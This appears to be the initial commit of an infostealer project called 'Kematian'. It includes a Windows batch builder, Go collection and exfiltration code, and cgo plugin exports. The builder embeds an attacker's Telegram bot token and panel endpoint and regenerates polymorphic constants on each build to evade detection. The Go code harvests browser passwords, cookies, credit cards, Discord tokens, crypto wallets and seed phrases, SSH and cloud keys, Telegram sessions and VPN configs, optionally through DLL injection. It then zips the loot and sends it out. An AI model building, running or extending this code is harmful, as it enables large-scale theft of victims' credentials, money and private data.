initial commit
This commit is contained in:
@@ -0,0 +1,30 @@
|
||||
# Packaged plugin output
|
||||
*.zip
|
||||
server.js
|
||||
|
||||
# Dependencies (installed at build time)
|
||||
node_modules/
|
||||
bun.lockb
|
||||
|
||||
# CGo-generated header (rebuilt on each compile)
|
||||
*-windows-amd64.h
|
||||
*-linux-amd64.h
|
||||
*-darwin-amd64.h
|
||||
*\kematian-windows-amd64.dll
|
||||
*\recovery-key-extractor.dll
|
||||
|
||||
# Go build artifacts
|
||||
bin/
|
||||
*.exe
|
||||
*.test
|
||||
*.out
|
||||
|
||||
# OS
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
|
||||
# Editor
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
@@ -0,0 +1,181 @@
|
||||
@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
title Kematian Final Builder
|
||||
|
||||
echo ============================================
|
||||
echo Kematian Final Executable Builder
|
||||
echo ============================================
|
||||
echo.
|
||||
|
||||
set "SCRIPT_DIR=%~dp0"
|
||||
set "PROJECT_ROOT=%SCRIPT_DIR%..\"
|
||||
set "NATIVE_DIR=%PROJECT_ROOT%native"
|
||||
set "EXFIL_DIR=%NATIVE_DIR%\cmd\exfil"
|
||||
set "FINAL_DIR=%SCRIPT_DIR%"
|
||||
set "ORIGINAL_MAIN=%EXFIL_DIR%\main.go"
|
||||
set "TEMP_MAIN=%EXFIL_DIR%\main.go.tmp"
|
||||
set "ORIGINAL_PANEL=%NATIVE_DIR%\recovery\exfil\panel.go"
|
||||
set "TEMP_PANEL=%NATIVE_DIR%\recovery\exfil\panel.go.tmp"
|
||||
|
||||
echo [DEBUG] SCRIPT_DIR=%SCRIPT_DIR%
|
||||
echo [DEBUG] NATIVE_DIR=%NATIVE_DIR%
|
||||
echo [DEBUG] ORIGINAL_MAIN=%ORIGINAL_MAIN%
|
||||
|
||||
if not exist "%NATIVE_DIR%" (
|
||||
echo [ERROR] native folder not found at %NATIVE_DIR%
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
if not exist "%ORIGINAL_MAIN%" (
|
||||
echo [ERROR] main.go not found at %ORIGINAL_MAIN%
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo Enter your Telegram Bot Token:
|
||||
set /p BOT_TOKEN=^>
|
||||
if "%BOT_TOKEN%"=="" (
|
||||
echo [ERROR] Bot token cannot be empty
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo.
|
||||
echo Enter your Telegram Chat ID:
|
||||
set /p CHAT_ID=^>
|
||||
if "%CHAT_ID%"=="" (
|
||||
echo [ERROR] Chat ID cannot be empty
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo.
|
||||
echo -------------------------------------------
|
||||
echo COLLECTOR PANEL (leave blank to disable)
|
||||
echo -------------------------------------------
|
||||
echo.
|
||||
set "PANEL_ENDPOINT="
|
||||
set "PANEL_AUTH="
|
||||
set /p PANEL_ENDPOINT=Panel endpoint (e.g. https://mypanel.com/api/ingest):
|
||||
set /p PANEL_AUTH=Panel ingest key (PANEL_INGEST_KEY):
|
||||
echo.
|
||||
|
||||
echo.
|
||||
echo Building recovery-key-extractor.dll (Rust)...
|
||||
set "RUST_DIR=%PROJECT_ROOT%rust-extractor"
|
||||
set "EXTRACTOR_OUT=%NATIVE_DIR%\recovery\platform\recovery-key-extractor.dll"
|
||||
set "RUST_DLL=%RUST_DIR%\target\x86_64-pc-windows-gnu\release\recovery_key_extractor.dll"
|
||||
|
||||
if not exist "%RUST_DIR%\Cargo.toml" (
|
||||
echo [ERROR] rust-extractor\Cargo.toml not found
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
pushd "%RUST_DIR%"
|
||||
echo Generating polymorphic gen.rs (unique constants per build)...
|
||||
python -c "import secrets;seed=secrets.randbelow(1<<32)|1;kt=secrets.randbelow(255)+1;kv=secrets.randbelow(255)+1;ks=secrets.randbelow(255)+1;ke=secrets.randbelow(255)+1;kd=secrets.randbelow(255)+1;jx=secrets.randbelow(1<<32)|1;jr=secrets.randbelow(1<<32)|1;jn=secrets.randbelow(16)+4;ot=(secrets.randbelow(1<<32)<<32)|secrets.randbelow(1<<32);f=open('src/gen.rs','w');f.write('// AUTO-GENERATED per build. Do not edit.\n');f.write('pub const GEN_SEED: u32 = 0x%08X;\n\n'%seed);f.write('pub const K_TOKEN: u8 = %d;\n'%kt);f.write('pub const K_VENDOR: u8 = %d;\n'%kv);f.write('pub const K_SMBIOS: u8 = %d;\n'%ks);f.write('pub const K_ENV: u8 = %d;\n'%ke);f.write('pub const K_DISPLAY: u8 = %d;\n\n'%kd);f.write('pub const JUNK_XOR: u32 = 0x%08X;\n'%jx);f.write('pub const JUNK_ROT: u32 = 0x%08X;\n'%jr);f.write('pub const JUNK_N: u32 = %d;\n\n'%jn);f.write('pub const OPAQUE_TAG: u64 = 0x%016X;\n'%ot);f.close()" 2>&1
|
||||
if errorlevel 1 (
|
||||
echo [WARN] gen.rs regeneration failed, using existing gen.rs
|
||||
)
|
||||
cargo build --release --target x86_64-pc-windows-gnu
|
||||
if errorlevel 1 (
|
||||
popd
|
||||
echo [ERROR] cargo build failed
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
popd
|
||||
|
||||
if not exist "%RUST_DLL%" (
|
||||
echo [ERROR] Rust DLL not found at %RUST_DLL%
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
copy /y "%RUST_DLL%" "%EXTRACTOR_OUT%" >nul
|
||||
if errorlevel 1 (
|
||||
echo [ERROR] Failed to copy Rust DLL
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
echo [OK] recovery-key-extractor.dll ready
|
||||
|
||||
echo.
|
||||
echo Generating main.go with embedded credentials...
|
||||
echo [DEBUG] Replacing placeholders in %ORIGINAL_MAIN%
|
||||
|
||||
powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_MAIN%'; $content = $content -replace 'defaultBotToken = \"YOUR_BOT_TOKEN_HERE\"', 'defaultBotToken = \"%BOT_TOKEN%\"'; $content = $content -replace 'defaultChatID = \"YOUR_CHAT_ID_HERE\"', 'defaultChatID = \"%CHAT_ID%\"'; [IO.File]::WriteAllText('%TEMP_MAIN%', $content); Write-Host 'PowerShell OK'"
|
||||
|
||||
if errorlevel 1 (
|
||||
echo [ERROR] Failed to generate temp main.go
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo [DEBUG] Temp file created, verifying...
|
||||
powershell -NoProfile -Command "Get-Content -Path '%TEMP_MAIN%' | Select-String 'defaultBotToken'"
|
||||
|
||||
move /y "%TEMP_MAIN%" "%ORIGINAL_MAIN%" >nul
|
||||
if errorlevel 1 (
|
||||
echo [ERROR] Failed to replace main.go
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo [OK] main.go updated with credentials
|
||||
|
||||
echo.
|
||||
echo Generating panel.go with panel config...
|
||||
if not "%PANEL_ENDPOINT%"=="" (
|
||||
powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_PANEL%'; $content = $content -replace 'http://127.0.0.1:5000/api/ingest', '%PANEL_ENDPOINT%'; $content = $content -replace 'PanelAuth = \"kematian-ingest-key-CHANGE-ME\"', 'PanelAuth = \"%PANEL_AUTH%\"'; [IO.File]::WriteAllText('%TEMP_PANEL%', $content); Write-Host 'PowerShell OK'"
|
||||
if errorlevel 1 (
|
||||
echo [ERROR] Failed to generate temp panel.go
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
move /y "%TEMP_PANEL%" "%ORIGINAL_PANEL%" >nul
|
||||
echo [OK] panel.go endpoint + auth updated (pubkey is auto-fetched at runtime)
|
||||
)
|
||||
|
||||
echo.
|
||||
echo Building executable...
|
||||
pushd "%NATIVE_DIR%"
|
||||
go build -ldflags="-H=windowsgui -s -w" -o "%FINAL_DIR%kematian.exe" ./cmd/exfil
|
||||
if errorlevel 1 (
|
||||
popd
|
||||
echo [ERROR] Go build failed
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
popd
|
||||
|
||||
echo.
|
||||
echo Restoring original main.go...
|
||||
git checkout "%ORIGINAL_MAIN%" 2>nul
|
||||
if errorlevel 1 (
|
||||
powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_MAIN%'; $content = $content -replace 'defaultBotToken = \"%BOT_TOKEN%\"', 'defaultBotToken = \"YOUR_BOT_TOKEN_HERE\"'; $content = $content -replace 'defaultChatID = \"%CHAT_ID%\"', 'defaultChatID = \"YOUR_CHAT_ID_HERE\"'; [IO.File]::WriteAllText('%ORIGINAL_MAIN%', $content)"
|
||||
)
|
||||
|
||||
echo.
|
||||
echo Restoring original panel.go...
|
||||
git checkout "%ORIGINAL_PANEL%" 2>nul
|
||||
if errorlevel 1 (
|
||||
powershell -NoProfile -Command "$content = Get-Content -Raw -Path '%ORIGINAL_PANEL%'; $content = $content -replace [regex]::Escape('%PANEL_ENDPOINT%'), 'http://127.0.0.1:5000/api/ingest'; $content = $content -replace 'PanelAuth = \"%PANEL_AUTH%\"', 'PanelAuth = \"kematian-ingest-key-CHANGE-ME\"'; [IO.File]::WriteAllText('%ORIGINAL_PANEL%', $content)"
|
||||
)
|
||||
|
||||
echo.
|
||||
echo ============================================
|
||||
echo [SUCCESS] Build complete!
|
||||
echo ============================================
|
||||
echo.
|
||||
echo Output: %FINAL_DIR%kematian.exe
|
||||
echo.
|
||||
echo Usage: Just double-click kemeatien.exe
|
||||
echo (No arguments needed - credentials are embedded)
|
||||
echo.
|
||||
dir "%FINAL_DIR%kematian.exe"
|
||||
echo.
|
||||
pause
|
||||
@@ -0,0 +1,361 @@
|
||||
// Command devtool is a standalone development harness for the Kematian
|
||||
// recovery pipeline. It emulates the plugin host + server by running the same
|
||||
// collection code as the c-shared plugin, then prints a summary (or, with
|
||||
// -verbose, the full event/result JSON) to the console.
|
||||
//
|
||||
// Usage examples:
|
||||
//
|
||||
// go run ./cmd/devtool # collect everything, summary
|
||||
// go run ./cmd/devtool -cookies -browser Brave # just Brave cookies
|
||||
// go run ./cmd/devtool -verbose # dump full JSON events
|
||||
// go run ./cmd/devtool -out result.json -no-inject
|
||||
//
|
||||
// It is not loaded as a plugin; it links the recovery package directly and is
|
||||
// meant to make local development and debugging easier.
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
recovery "recovery/recovery"
|
||||
)
|
||||
|
||||
const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB, matches plugin
|
||||
|
||||
var verbose bool
|
||||
|
||||
func main() {
|
||||
var (
|
||||
outPath string
|
||||
timeoutSec int
|
||||
browser string
|
||||
noInject bool
|
||||
includeZip bool
|
||||
|
||||
all bool
|
||||
passwords bool
|
||||
cookies bool
|
||||
autofill bool
|
||||
history bool
|
||||
bookmarks bool
|
||||
cards bool
|
||||
discord bool
|
||||
files bool
|
||||
wallets bool
|
||||
telegram bool
|
||||
keys bool
|
||||
apps bool
|
||||
gaming bool
|
||||
vpn bool
|
||||
extensions bool
|
||||
fingerprint bool
|
||||
fingerprintJS bool
|
||||
)
|
||||
|
||||
flag.StringVar(&outPath, "out", "", "write the full result JSON to this file")
|
||||
flag.IntVar(&timeoutSec, "timeout", 120, "collection timeout in seconds")
|
||||
flag.StringVar(&browser, "browser", "", "only show results for this browser (case-insensitive); scanning is not restricted")
|
||||
flag.BoolVar(&noInject, "no-inject", false, "skip DLL injection (direct file access only, no App-Bound/v20 keys)")
|
||||
flag.BoolVar(&verbose, "verbose", false, "print full event/result JSON (default: summary only)")
|
||||
flag.BoolVar(&includeZip, "content", false, "include base64 content in auto-download events")
|
||||
|
||||
flag.BoolVar(&all, "all", false, "collect everything")
|
||||
flag.BoolVar(&passwords, "passwords", false, "collect passwords")
|
||||
flag.BoolVar(&cookies, "cookies", false, "collect cookies")
|
||||
flag.BoolVar(&autofill, "autofill", false, "collect autofill")
|
||||
flag.BoolVar(&history, "history", false, "collect history")
|
||||
flag.BoolVar(&bookmarks, "bookmarks", false, "collect bookmarks")
|
||||
flag.BoolVar(&cards, "cards", false, "collect credit cards")
|
||||
flag.BoolVar(&discord, "discord", false, "collect Discord tokens")
|
||||
flag.BoolVar(&files, "files", false, "scan files")
|
||||
flag.BoolVar(&wallets, "wallets", false, "scan wallets")
|
||||
flag.BoolVar(&telegram, "telegram", false, "scan Telegram sessions")
|
||||
flag.BoolVar(&keys, "keys", false, "scan SSH & cloud keys")
|
||||
flag.BoolVar(&apps, "apps", false, "scan app credentials")
|
||||
flag.BoolVar(&gaming, "gaming", false, "scan gaming platforms")
|
||||
flag.BoolVar(&vpn, "vpn", false, "scan VPN configs")
|
||||
flag.BoolVar(&extensions, "extensions", false, "scan browser extensions")
|
||||
flag.BoolVar(&fingerprint, "fingerprint", false, "collect the native browser fingerprint and exit")
|
||||
flag.BoolVar(&fingerprintJS, "fingerprint-js", false, "collect the JS (canvas/WebGL/audio) fingerprint and exit")
|
||||
flag.Parse()
|
||||
|
||||
if noInject {
|
||||
os.Setenv("KEMATIAN_NO_INJECT", "1")
|
||||
}
|
||||
|
||||
if fingerprint {
|
||||
fp := recovery.CollectFingerprint()
|
||||
data, _ := json.MarshalIndent(fp, "", " ")
|
||||
fmt.Println(string(data))
|
||||
return
|
||||
}
|
||||
|
||||
if fingerprintJS {
|
||||
fp := recovery.CollectJSFingerprint()
|
||||
if fp == nil {
|
||||
fmt.Println("{\"error\": \"failed to collect JS fingerprint\"}")
|
||||
return
|
||||
}
|
||||
data, _ := json.MarshalIndent(fp, "", " ")
|
||||
fmt.Println(string(data))
|
||||
return
|
||||
}
|
||||
|
||||
anyData := passwords || cookies || autofill || history || bookmarks || cards ||
|
||||
discord || files || wallets || telegram || keys || apps || gaming || vpn || extensions
|
||||
|
||||
opts := recovery.CollectOptions{
|
||||
Browsers: all || !anyData || passwords || cookies || autofill || history || bookmarks || cards || extensions,
|
||||
Passwords: all || !anyData || passwords,
|
||||
Cookies: all || !anyData || cookies,
|
||||
Autofill: all || !anyData || autofill,
|
||||
History: all || !anyData || history,
|
||||
Bookmarks: all || !anyData || bookmarks,
|
||||
CreditCards: all || !anyData || cards,
|
||||
Discord: all || !anyData || discord,
|
||||
Files: all || !anyData || files,
|
||||
Wallets: all || !anyData || wallets,
|
||||
Telegram: all || !anyData || telegram,
|
||||
Keys: all || !anyData || keys,
|
||||
Apps: all || !anyData || apps,
|
||||
Gaming: all || !anyData || gaming,
|
||||
VPNs: all || !anyData || vpn,
|
||||
}
|
||||
|
||||
log.Printf("devtool: timeout=%ds browser=%q noInject=%v verbose=%v", timeoutSec, browser, noInject, verbose)
|
||||
|
||||
printEvent("status", map[string]string{"message": "Starting collection (devtool)..."})
|
||||
|
||||
var exts []recovery.ExtensionResult
|
||||
if opts.Browsers || extensions {
|
||||
exts = recovery.ScanExtensions()
|
||||
log.Printf("devtool: extension scan complete: %d extensions", len(exts))
|
||||
}
|
||||
|
||||
partialFn := func(partial *recovery.CollectionResult) {
|
||||
printEvent("partial", filter(partial, browser))
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSec)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
start := time.Now()
|
||||
result, err := recovery.Collect(ctx, opts, partialFn)
|
||||
if err != nil {
|
||||
log.Printf("devtool: collection failed: %v", err)
|
||||
printEvent("error", map[string]string{"error": err.Error()})
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
if opts.Browsers || extensions {
|
||||
result.Extensions = exts
|
||||
}
|
||||
|
||||
printSummary(filter(result, browser))
|
||||
printEvent("results", filter(result, browser))
|
||||
|
||||
if len(result.Wallets) > 0 {
|
||||
autoDownloadWallets(result.Wallets, includeZip)
|
||||
}
|
||||
|
||||
seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill)
|
||||
if len(seeds) > 0 {
|
||||
log.Printf("devtool: seed scan found %d seed phrases", len(seeds))
|
||||
printEvent("seed_scan_results", map[string]interface{}{"seeds": seeds})
|
||||
}
|
||||
|
||||
if outPath != "" {
|
||||
if err := writeResult(outPath, filter(result, browser)); err != nil {
|
||||
log.Printf("devtool: failed to write output: %v", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
log.Printf("devtool: wrote result to %s", outPath)
|
||||
}
|
||||
|
||||
log.Printf("devtool: collection completed in %s", time.Since(start).Round(time.Millisecond))
|
||||
}
|
||||
|
||||
// printEvent emulates the server receiving an event + JSON payload. Only used
|
||||
// when -verbose is set.
|
||||
func printEvent(event string, payload interface{}) {
|
||||
if !verbose {
|
||||
return
|
||||
}
|
||||
data, err := json.MarshalIndent(payload, "", " ")
|
||||
if err != nil {
|
||||
log.Printf("devtool: marshal %s: %v", event, err)
|
||||
return
|
||||
}
|
||||
fmt.Printf("\n===== EVENT: %s =====\n%s\n", event, string(data))
|
||||
}
|
||||
|
||||
type browserCounts struct {
|
||||
cookies, passwords, autofill, history, bookmarks, cards, extensions int
|
||||
}
|
||||
|
||||
func tally(r *recovery.CollectionResult) map[string]*browserCounts {
|
||||
m := map[string]*browserCounts{}
|
||||
get := func(b string) *browserCounts {
|
||||
if b == "" {
|
||||
b = "(unknown)"
|
||||
}
|
||||
c, ok := m[b]
|
||||
if !ok {
|
||||
c = &browserCounts{}
|
||||
m[b] = c
|
||||
}
|
||||
return c
|
||||
}
|
||||
for _, v := range r.Cookies {
|
||||
get(v.Browser).cookies++
|
||||
}
|
||||
for _, v := range r.Passwords {
|
||||
get(v.Browser).passwords++
|
||||
}
|
||||
for _, v := range r.Autofill {
|
||||
get(v.Browser).autofill++
|
||||
}
|
||||
for _, v := range r.History {
|
||||
get(v.Browser).history++
|
||||
}
|
||||
for _, v := range r.Bookmarks {
|
||||
get(v.Browser).bookmarks++
|
||||
}
|
||||
for _, v := range r.CreditCards {
|
||||
get(v.Browser).cards++
|
||||
}
|
||||
for _, v := range r.Extensions {
|
||||
get(v.Browser).extensions++
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
func printSummary(r *recovery.CollectionResult) {
|
||||
fmt.Printf("\n===== SUMMARY =====\n")
|
||||
|
||||
byBrowser := tally(r)
|
||||
names := make([]string, 0, len(byBrowser))
|
||||
for b := range byBrowser {
|
||||
names = append(names, b)
|
||||
}
|
||||
sort.Strings(names)
|
||||
|
||||
fmt.Printf("%-14s %9s %9s %8s %7s %9s %5s %10s\n",
|
||||
"browser", "cookies", "passwords", "autofill", "history", "bookmarks", "cards", "extensions")
|
||||
for _, b := range names {
|
||||
c := byBrowser[b]
|
||||
fmt.Printf("%-14s %9d %9d %8d %7d %9d %5d %10d\n",
|
||||
b, c.cookies, c.passwords, c.autofill, c.history, c.bookmarks, c.cards, c.extensions)
|
||||
}
|
||||
|
||||
fmt.Printf("\ndiscord tokens: %d\n", len(r.DiscordTokens))
|
||||
fmt.Printf("files: %d\n", len(r.Files))
|
||||
fmt.Printf("wallets: %d\n", len(r.Wallets))
|
||||
fmt.Printf("telegram: %d\n", len(r.Telegram))
|
||||
fmt.Printf("keys: %d\n", len(r.Keys))
|
||||
fmt.Printf("apps: %d\n", len(r.AppCredentials))
|
||||
if r.Gaming != nil {
|
||||
fmt.Printf("gaming: present\n")
|
||||
}
|
||||
if r.VPNs != nil {
|
||||
fmt.Printf("vpns: present\n")
|
||||
}
|
||||
if len(r.Errors) > 0 {
|
||||
fmt.Printf("\nerrors: %d\n", len(r.Errors))
|
||||
for _, e := range r.Errors {
|
||||
fmt.Printf(" - %s\n", e)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func writeResult(path string, r *recovery.CollectionResult) error {
|
||||
data, err := json.MarshalIndent(r, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(path, data, 0600)
|
||||
}
|
||||
|
||||
func autoDownloadWallets(wallets []recovery.WalletResult, includeZip bool) {
|
||||
for _, w := range wallets {
|
||||
if w.Size > maxAutoDownloadSize {
|
||||
log.Printf("devtool: skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size)
|
||||
continue
|
||||
}
|
||||
data, err := recovery.ZipDirectory(w.Path)
|
||||
if err != nil {
|
||||
log.Printf("devtool: auto-download zip %q: %v", w.Name, err)
|
||||
continue
|
||||
}
|
||||
log.Printf("devtool: wallet %q (%s) zipped %d bytes", w.Name, w.Type, len(data))
|
||||
if includeZip {
|
||||
printEvent("wallet_auto_data", map[string]interface{}{
|
||||
"name": w.Name,
|
||||
"type": w.Type,
|
||||
"path": w.Path,
|
||||
"addresses": w.Addresses,
|
||||
"vaultData": w.VaultData,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// filter returns a copy of r restricted to a single browser (case-insensitive)
|
||||
// when name is non-empty. Non-browser fields are dropped in that case so the
|
||||
// output stays focused on the browser under test.
|
||||
func filter(r *recovery.CollectionResult, name string) *recovery.CollectionResult {
|
||||
if name == "" {
|
||||
return r
|
||||
}
|
||||
match := func(b string) bool { return strings.EqualFold(b, name) }
|
||||
|
||||
out := &recovery.CollectionResult{}
|
||||
for _, v := range r.Passwords {
|
||||
if match(v.Browser) {
|
||||
out.Passwords = append(out.Passwords, v)
|
||||
}
|
||||
}
|
||||
for _, v := range r.Cookies {
|
||||
if match(v.Browser) {
|
||||
out.Cookies = append(out.Cookies, v)
|
||||
}
|
||||
}
|
||||
for _, v := range r.Autofill {
|
||||
if match(v.Browser) {
|
||||
out.Autofill = append(out.Autofill, v)
|
||||
}
|
||||
}
|
||||
for _, v := range r.History {
|
||||
if match(v.Browser) {
|
||||
out.History = append(out.History, v)
|
||||
}
|
||||
}
|
||||
for _, v := range r.Bookmarks {
|
||||
if match(v.Browser) {
|
||||
out.Bookmarks = append(out.Bookmarks, v)
|
||||
}
|
||||
}
|
||||
for _, v := range r.CreditCards {
|
||||
if match(v.Browser) {
|
||||
out.CreditCards = append(out.CreditCards, v)
|
||||
}
|
||||
}
|
||||
for _, v := range r.Extensions {
|
||||
if match(v.Browser) {
|
||||
out.Extensions = append(out.Extensions, v)
|
||||
}
|
||||
}
|
||||
out.Errors = r.Errors
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/signal"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"recovery/recovery/exfil"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 120 * time.Second
|
||||
|
||||
// EMBEDDED CONFIG - Change these values before building
|
||||
|
||||
// Telegram fallback (leave placeholder to disable)
|
||||
defaultBotToken = "YOUR_BOT_TOKEN_HERE"
|
||||
defaultChatID = "YOUR_CHAT_ID_HERE"
|
||||
)
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
f, err := os.OpenFile("kematian.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
msg := fmt.Sprintf(format, args...)
|
||||
fmt.Fprintf(f, "%s %s\n", time.Now().Format("2006-01-02 15:04:05"), msg)
|
||||
}
|
||||
|
||||
func main() {
|
||||
useTelegram := defaultBotToken != "" && defaultBotToken != "YOUR_BOT_TOKEN_HERE" && defaultChatID != "" && defaultChatID != "YOUR_CHAT_ID_HERE"
|
||||
usePanel := exfil.PanelEndpoint != ""
|
||||
|
||||
logf("kematian start: usePanel=%v useTelegram=%v endpoint=%q authSet=%v", usePanel, useTelegram, exfil.PanelEndpoint, exfil.PanelAuth != "")
|
||||
|
||||
if !useTelegram && !usePanel {
|
||||
return
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
||||
defer cancel()
|
||||
|
||||
sigChan := make(chan os.Signal, 1)
|
||||
signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM)
|
||||
go func() {
|
||||
<-sigChan
|
||||
cancel()
|
||||
}()
|
||||
|
||||
result, zipData, counts, payloads, err := exfil.CollectResultAndZip(ctx)
|
||||
if err != nil {
|
||||
logf("collect failed: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if usePanel {
|
||||
clientID := exfil.GenerateClientID()
|
||||
if err := exfil.SendToPanel(result, clientID, payloads...); err != nil {
|
||||
logf("panel send FAILED: %v", err)
|
||||
} else {
|
||||
logf("panel send OK clientId=%s payloads=%d", clientID, len(payloads))
|
||||
}
|
||||
}
|
||||
|
||||
if useTelegram {
|
||||
filename := "kematian_" + time.Now().Format("20060102_150405") + ".zip"
|
||||
cfg := exfil.TelegramConfig{
|
||||
BotToken: defaultBotToken,
|
||||
ChatID: defaultChatID,
|
||||
}
|
||||
if err := exfil.SendToTelegram(cfg, zipData, filename, counts); err != nil {
|
||||
logf("telegram send FAILED: %v", err)
|
||||
} else {
|
||||
logf("telegram send OK")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
//go:build windows
|
||||
|
||||
package main
|
||||
|
||||
import "C"
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var callbackPtr uintptr
|
||||
|
||||
func hostSendViaCallback(event string, payload []byte) {
|
||||
cb := callbackPtr
|
||||
if cb == 0 {
|
||||
return
|
||||
}
|
||||
eventBytes := []byte(event)
|
||||
var evPtr, plPtr uintptr
|
||||
evLen := uintptr(len(eventBytes))
|
||||
plLen := uintptr(len(payload))
|
||||
if len(eventBytes) > 0 {
|
||||
evPtr = uintptr(unsafe.Pointer(&eventBytes[0]))
|
||||
}
|
||||
if len(payload) > 0 {
|
||||
plPtr = uintptr(unsafe.Pointer(&payload[0]))
|
||||
}
|
||||
syscall.SyscallN(cb, evPtr, evLen, plPtr, plLen)
|
||||
}
|
||||
|
||||
//export PluginSetCallback
|
||||
func PluginSetCallback(cb C.ulonglong) {
|
||||
callbackPtr = uintptr(cb)
|
||||
setSend(hostSendViaCallback)
|
||||
}
|
||||
|
||||
//export PluginOnLoad
|
||||
func PluginOnLoad(hostInfo *C.char, hostInfoLen C.int, cb C.ulonglong) C.int {
|
||||
callbackPtr = uintptr(cb)
|
||||
setSend(hostSendViaCallback)
|
||||
data := C.GoBytes(unsafe.Pointer(hostInfo), hostInfoLen)
|
||||
if err := handleInit(data); err != nil {
|
||||
return 1
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
//export PluginOnEvent
|
||||
func PluginOnEvent(event *C.char, eventLen C.int, payload *C.char, payloadLen C.int) C.int {
|
||||
ev := C.GoStringN(event, eventLen)
|
||||
var pl []byte
|
||||
if payloadLen > 0 {
|
||||
pl = C.GoBytes(unsafe.Pointer(payload), payloadLen)
|
||||
}
|
||||
if err := handleEvent(ev, pl); err != nil {
|
||||
return 1
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
//export PluginOnUnload
|
||||
func PluginOnUnload() {
|
||||
handleUnload()
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
module recovery
|
||||
|
||||
go 1.26
|
||||
|
||||
require (
|
||||
github.com/mattn/go-sqlite3 v1.14.18
|
||||
golang.org/x/sys v0.47.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f
|
||||
github.com/chromedp/chromedp v0.16.0
|
||||
golang.org/x/crypto v0.50.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/chromedp/sysutil v1.1.0 // indirect
|
||||
github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68 // indirect
|
||||
github.com/gobwas/httphead v0.1.0 // indirect
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.4.0 // indirect
|
||||
)
|
||||
@@ -0,0 +1,25 @@
|
||||
github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f h1:0Z1zcSLEmnj2c2CmJYBqewtS6pxhB39bNWUSEUAWjgk=
|
||||
github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f/go.mod h1:RwFsSODCtFExll+GhHM6R92SARHR3Z3oipaxLHj46C0=
|
||||
github.com/chromedp/chromedp v0.16.0 h1:rOO4deOm4CbZgBCa8mD9g2rDyIoNs0BkgvNrlbp5ouk=
|
||||
github.com/chromedp/chromedp v0.16.0/go.mod h1:rbuGKFT1vMcFcFqKfPIO1GpX/N+2s8onm2qMxZLbU5U=
|
||||
github.com/chromedp/sysutil v1.1.0 h1:PUFNv5EcprjqXZD9nJb9b/c9ibAbxiYo4exNWZyipwM=
|
||||
github.com/chromedp/sysutil v1.1.0/go.mod h1:WiThHUdltqCNKGc4gaU50XgYjwjYIhKWoHGPTUfWTJ8=
|
||||
github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68 h1:KZaTBSyshWX3MP5jukJcNSuXDQTO+rNpt0J564dX/eg=
|
||||
github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68/go.mod h1:tphK2c80bpPhMOI4v6bIc2xWywPfbqi1Z06+RcrMkDg=
|
||||
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
|
||||
